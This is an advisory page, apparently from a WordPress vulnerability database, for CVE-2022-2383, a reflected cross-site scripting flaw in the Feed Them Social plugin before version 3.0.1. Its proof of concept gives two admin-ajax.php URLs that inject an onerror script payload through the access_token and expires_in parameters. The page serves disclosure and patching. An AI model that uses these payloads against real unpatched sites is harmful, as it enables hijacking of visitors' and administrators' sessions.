WordPress Plugin Vulnerabilities

Feed Them Social < 3.0.1 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting

Proof of Concept

Both can be used against authenticated and unauthenticated users

https://example.com/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&access_token=<img src onerror=alert(/XSS/)>

https://example.com/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=<img src onerror=alert(/XSS/)>

Affects Plugins

Plugin icon
feed-them-social
Fixed in 3.0.1

References

CVE
CVE-2022-2383

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
dc11
Submitter
dc11
Verified
Yes
WPVDB ID
4a3b3023-e740-411c-a77c-6477b80d7531

Timeline

Publicly Published
2022-07-26 (about 1 years ago)
Added
2022-07-26 (about 1 years ago)
Last Updated
2022-08-25 (about 1 years ago)

Other

Published
Title
Published
2022-09-02
Title
Meet My Team <= 2.0.5 - Contributor+ Stored Cross-Site Scripting
Published
2023-07-17
Title
PDQ CSV <= 1.0.0 - Admin+ Stored Cross-Site Scripting
Published
2023-05-10
Title
Booking Ultra Pro < 1.1.9 - Reflected XSS
Published
2019-07-03
Title
Simple Mail Address Encoder <= 1.6.1 - Reflected Authenticated XSS
Published
2015-04-20
Title
Related Posts for WordPress < 1.8.2 - Cross-Site Scripting (XSS)